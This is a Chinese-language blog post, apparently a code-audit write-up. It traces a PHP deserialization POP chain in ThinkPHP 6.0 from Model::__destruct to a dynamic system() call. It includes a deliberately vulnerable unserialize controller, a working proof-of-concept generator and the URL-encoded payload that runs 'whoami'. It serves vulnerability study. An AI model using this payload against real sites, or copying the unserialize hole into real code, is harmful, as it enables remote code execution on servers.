0x01 环境搭建

使用composer进行安装:

composer create-project topthink/think=6.0.x-dev TPv6.0
cd TPv6.0
php think run

定义入口文件app\controller\Index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index($payload='')
    {   
        //echo $payload;
        unserialize($payload);   
    }
}


0x02 __destruct链分析

(1)寻找__destruct()

反序列化POP链的起点通常是__destruct()函数,这次漏洞的触发点位于vendor\topthink\think-orm\src\Model.phpModel类的__destruct析构函数:
在这里插入图片描述
当满足$this->lazySave==true时,将会调用$this->save(),继续跟进。

(2)跟进save()

在这里插入图片描述
首先要想不被return掉,需要满足下面整个if语句:

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
    return false;
}
  • 先跟进$this->isEmpty():只需要满足$this->data不为空即可。
    在这里插入图片描述
  • 再跟进$this->trigger():只需要满足$this->withEvent == false即可返回true。
    在这里插入图片描述
    在通过if语句之后,会进入到:
    $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
    
    $this->exists == true时进入$this->updateData();当$this->exists == false时进入$this->insertData()

分别跟进,发现updateData()存在继续利用的点,所以需要$this->exists == true,跟进分析。

(3)跟进updateData()

在这里插入图片描述
这里下一步的利用点存在于$this->checkAllowFields()中,但是要调用该函数,需要通过①②两处的if语句:
① 与之前save()中的一样,只需要令$this->withEvent == false即可通过。
② 需要$data == 1,所以我们跟进$this->getChangedData()看一下:
在这里插入图片描述
只需要令$this->force == true,即可直接返回$this-data,而我们之前也需要设置$this-data为非空。

回到updateData()中,之后就可以成功调用到了$this->checkAllowFields()

(4)跟进checkAllowFields()

在这里插入图片描述
下一步的利用点在$this->db()中,所以我们需要令$this->field$this->schema均为空才能调用到它:
在这里插入图片描述
但可以看到这两个地方默认为空,所以不需要进行构造,然后进一步跟进$this->db()

(5)跟进db()

在这里插入图片描述

可以看到这里已经存在了用.进行字符串连接的操作了, 所以把$this->table$this->suffix 设置成响应类对象就可以触发__toString()了。

(6)__destruct()链小结

目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用__toString(),所以先总结一下我们需要设置的点:

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

调用过程如下:
在这里插入图片描述
但是还有一个问题就是Model类是抽象类,不能实例化。所以要想利用,得找出Model类的一个子类进行实例化,这里可以用Pivot类进行利用。
在这里插入图片描述

0x03 __toString()链分析

(1)寻找__toString()

既然前半条POP链已经能够触发__toString(),下面就是寻找利用点。这次漏洞的__toString()利用点位于vendor\topthink\think-orm\src\model\concern\Conversion.php中名为Conversion 的trait中。
在这里插入图片描述
很简单,跟进toJson()

(2)跟进toJson()

在这里插入图片描述
没什么好说的,继续跟进toArray()

(3)跟进toArray()

在这里插入图片描述

$date进行遍历,其中$key$date的键。默认情况下,会进入第二个elseif语句,从而已$key作为参数调用getAttr()函数。

接着跟进getAttr()

(4)跟进getAttr()

位于vendor\topthink\think-orm\src\model\concern\Attribute.php中:
在这里插入图片描述
$value返回自$this->getData(),且参数为toArray()传进来的$key,跟进一下getData()
在这里插入图片描述
继续跟进getRealFieldName()
在这里插入图片描述
当满足$this->strict == true时(默认为true),直接返回$name,也就是最开始从toArray()中传进来的$key值。

getRealFieldName()回到getData(),此时$fieldName即为$key。而返回语句如下,实际上就是返回了$this->data[$key]
在这里插入图片描述
然后再从getData()回到getAttr(),最后的返回语句如下:

return $this->getValue($name, $value, $relation);

这时参数$name则是从toArray()传进来的$key,而参数$value的值就是$this->data[$key]

继续跟进一下getValue()

(5)跟进getValue()

在这里插入图片描述
首先$fieldName的值来自经过getRealFieldName()处理的$key值,而当$this->strict == true时,是不做处理直接返回的,所以$fieldName的值就为$key

跟进一下getRealFieldName()
在这里插入图片描述
然后需要通过两个if语句,满足的条件为:$this->withAttr数组存在和$date一样的键$key,并且这个键对应的值不能为数组。

这样的话,就会把$this->withAttr[$key]withAttr数组$key键对应的值)当做函数名动态执行,参数为$this->date[$key]

例如:

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"]; 

实际上最后执行的即为system('whoami')

(6)__toString()链小结

至此,后半个POP链也构造完成,小结一下需要构造的点:

trait Attribute
{
    private $data = ["axin" => "dir"];
    private $withAttr = ["axin" => "system"];
}

除此之外还需要将前面说的table声明为Pivot类对象,从而将两个POP链串联起来。

第二个POP链调用过程如下:
在这里插入图片描述

0x04 POC

0x04 POC

最终POC如下:

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["Lethe" => "whoami"];
    private $withAttr = ["Lethe" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

运行得到payload:

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D

结果如下:
在这里插入图片描述


0x05 后记

第一次对ThinkPHP框架进行真实漏洞的审计,参考着大佬们的分析文章才弄明白了。其实一步一步理解这个反序列化漏洞的流程并不是特别困难,主要还是自己对ThinkPHP框架不熟悉、对PHP命名空间的概念也不是特别清晰,导致在编写POC的过程中遇到了些问题。之前一直处于只做CTF题目的状态,以后还是得要多做做代码审计,找个时间把thinkphp手册过一遍吧,tcl。



Code Audit      Code Audit

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!